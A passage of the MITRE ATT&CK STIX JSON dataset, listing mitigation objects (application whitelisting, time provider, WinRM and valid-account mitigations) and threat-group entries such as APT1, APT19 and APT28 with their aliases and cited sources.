or to which remote access is tightly controlled.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1072",
                    "external_id": "T1072"
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                    "url": "https://attack.mitre.org/mitigations/M1019"
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            "name": "Threat Intelligence Program",
            "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.",
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            "name": "Time Providers Mitigation",
            "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)",
            "external_references": [
                {
                    "external_id": "T1209",
                    "url": "https://attack.mitre.org/mitigations/T1209",
                    "source_name": "mitre-attack"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Timestomp Mitigation",
            "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                {
                    "external_id": "T1099",
                    "url": "https://attack.mitre.org/mitigations/T1099",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1493"
                }
            ],
            "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.",
            "name": "Transmitted Data Manipulation Mitigation",
            "id": "course-of-action--245075bc-f992-4d89-af8c-834c53d403f4",
            "type": "course-of-action",
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            "name": "Trap Mitigation",
            "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1154",
                    "external_id": "T1154"
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            ],
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            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Trusted Relationship Mitigation",
            "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1199",
                    "external_id": "T1199"
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            "name": "Two-Factor Authentication Interception Mitigation",
            "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1111",
                    "url": "https://attack.mitre.org/mitigations/T1111",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2020-01-17T16:45:23.676Z",
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            "name": "Uncommonly Used Port Mitigation",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1065",
                    "external_id": "T1065"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "external_id": "M1051",
                    "url": "https://attack.mitre.org/mitigations/M1051"
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            "name": "Update Software",
            "description": "Perform regular software updates to mitigate exploitation risk.",
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                    "external_id": "M1052",
                    "url": "https://attack.mitre.org/mitigations/M1052"
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            "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.",
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                    "external_id": "M1018",
                    "url": "https://attack.mitre.org/mitigations/M1018"
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            "description": "Manage the creation, modification, use, and permissions associated to user accounts.",
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            "name": "User Execution Mitigation",
            "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.",
            "external_references": [
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                    "url": "https://attack.mitre.org/mitigations/T1204",
                    "external_id": "T1204"
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            "description": "Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.",
            "name": "User Training",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "external_id": "M1017",
                    "url": "https://attack.mitre.org/mitigations/M1017"
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            "type": "course-of-action",
            "modified": "2020-10-21T19:08:13.228Z",
            "created": "2019-06-06T16:50:04.963Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Valid Accounts Mitigation",
            "description": "Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1078",
                    "external_id": "T1078"
                },
                {
                    "source_name": "Microsoft Securing Privileged Access",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"
                },
                {
                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
                {
                    "source_name": "TechNet Least Privilege",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx"
                },
                {
                    "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A",
                    "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet"
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "external_id": "M1016",
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                    "source_name": "University of Birmingham C2",
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                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "external_id": "T1100"
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                    "source_name": "US-CERT Alert TA15-314A Web Shells",
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                    "source_name": "TechNet Applocker vs SRP",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1084",
                    "external_id": "T1084"
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                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
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            "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
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                    "url": "https://attack.mitre.org/mitigations/T1028",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
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            "name": "Winlogon Helper DLL Mitigation",
            "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
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                    "external_id": "T1004",
                    "url": "https://attack.mitre.org/mitigations/T1004",
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                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "name": "XSL Script Processing Mitigation",
            "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1220",
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            "name": "The MITRE Corporation",
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                    "external_id": "G0099",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0099"
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                {
                    "source_name": "Blind Eagle",
                    "description": "(Citation: QiAnXin APT-C-36 Feb2019)"
                },
                {
                    "source_name": "QiAnXin APT-C-36 Feb2019",
                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/",
                    "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."
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            ],
            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)",
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            "created": "2020-05-05T18:53:08.166Z",
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            "name": "APT1",
            "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
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                    "url": "https://attack.mitre.org/groups/G0006",
                    "external_id": "G0006"
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                    "source_name": "APT1",
                    "description": "(Citation: Mandiant APT1)"
                },
                {
                    "source_name": "Comment Crew",
                    "description": "(Citation: Mandiant APT1)"
                },
                {
                    "source_name": "Comment Group",
                    "description": "(Citation: Mandiant APT1)"
                },
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                    "source_name": "Comment Panda",
                    "description": "(Citation: CrowdStrike Putter Panda)"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
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                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
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            "modified": "2020-10-22T18:35:55.290Z",
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            "name": "APT12",
            "description": "[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)",
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                    "source_name": "APT12",
                    "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)"
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                {
                    "source_name": "IXESHE",
                    "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)"
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                {
                    "source_name": "DynCalc",
                    "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)"
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                {
                    "source_name": "Numbered Panda",
                    "description": "(Citation: Meyers Numbered Panda)"
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                    "source_name": "DNSCALC",
                    "description": "(Citation: Moran 2014)"
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                {
                    "source_name": "Meyers Numbered Panda",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                    "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
                },
                {
                    "source_name": "Moran 2014",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
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            "modified": "2020-03-30T18:44:59.268Z",
            "created": "2017-05-31T21:31:47.537Z",
            "x_mitre_version": "2.1"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT16",
            "description": "[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0023",
                    "external_id": "G0023"
                },
                {
                    "source_name": "APT16",
                    "description": "(Citation: FireEye EPS Awakens Part 2)"
                },
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "aliases": [
                "APT16"
            ],
            "modified": "2020-10-12T19:54:58.537Z",
            "created": "2017-05-31T21:31:56.270Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT17",
            "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0025",
                    "external_id": "G0025"
                },
                {
                    "source_name": "APT17",
                    "description": "(Citation: FireEye APT17)"
                },
                {
                    "source_name": "Deputy Dog",
                    "description": "(Citation: FireEye APT17)"
                },
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "source_name": "FireEye APT17"
                }
            ],
            "aliases": [
                "APT17",
                "Deputy Dog"
            ],
            "modified": "2020-10-13T22:33:14.018Z",
            "created": "2017-05-31T21:31:57.307Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT18",
            "description": "[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0026",
                    "external_id": "G0026"
                },
                {
                    "source_name": "APT18",
                    "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"
                },
                {
                    "source_name": "TG-0416",
                    "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"
                },
                {
                    "source_name": "Dynamite Panda",
                    "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"
                },
                {
                    "source_name": "Threat Group-0416",
                    "description": "(Citation: ThreatStream Evasion Analysis)"
                },
                {
                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "source_name": "Dell Lateral Movement"
                },
                {
                    "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop",
                    "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.",
                    "source_name": "ThreatStream Evasion Analysis"
                },
                {
                    "source_name": "Anomali Evasive Maneuvers July 2015",
                    "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop",
                    "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."
                }
            ],
            "aliases": [
                "APT18",
                "TG-0416",
                "Dynamite Panda",
                "Threat Group-0416"
            ],
            "modified": "2020-03-30T18:46:16.853Z",
            "created": "2017-05-31T21:31:57.733Z",
            "x_mitre_version": "2.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT19",
            "description": "[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0073",
                    "url": "https://attack.mitre.org/groups/G0073",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "APT19",
                    "description": "(Citation: FireEye APT19)"
                },
                {
                    "source_name": "Codoso",
                    "description": "(Citation: Unit 42 C0d0so0 Jan 2016)"
                },
                {
                    "source_name": "C0d0so0",
                    "description": "(Citation: Unit 42 C0d0so0 Jan 2016)"
                },
                {
                    "source_name": "Codoso Team",
                    "description": "(Citation: FireEye APT Groups)"
                },
                {
                    "source_name": "Sunshop Group",
                    "description": "(Citation: Dark Reading Codoso Feb 2015)"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                },
                {
                    "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/",
                    "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.",
                    "source_name": "ICIT China's Espionage Jul 2016"
                },
                {
                    "source_name": "FireEye APT Groups",
                    "description": "FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.",
                    "url": "https://www.fireeye.com/current-threats/apt-groups.html#apt19"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 C0d0so0 Jan 2016"
                },
                {
                    "source_name": "Dark Reading Codoso Feb 2015",
                    "description": "Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. Retrieved September 13, 2018.",
                    "url": "https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059"
                }
            ],
            "aliases": [
                "APT19",
                "Codoso",
                "C0d0so0",
                "Codoso Team",
                "Sunshop Group"
            ],
            "modified": "2021-02-09T13:56:34.975Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_contributors": [
                "FS-ISAC",
                "Darren Spruell"
            ],
            "x_mitre_version": "1.3"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT28",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0007",
                    "url": "https://attack.mitre.org/groups/G0007",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "APT28",
                    "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)"
                },
                {
                    "source_name": "SNAKEMACKEREL",
                    "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)"
                },
                {
                    "source_name": "Swallowtail",
                    "description": "(Citation: Symantec APT28 Oct 2018)"
                },
                {
                    "source_name": "Group 74",
                    "description": "(Citation: Talos Seduploader Oct 2017)"
                },
                {
                    "source_name": "Sednit",
                    "description": "This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018)"
                },
                {
                    "source_name": "Sofacy",
                    "description": "This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)"
                },
                {
                    "source_name": "Pawn Storm",
                    "description": "(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) "
                },
                {
                    "source_name": "Fancy Bear",
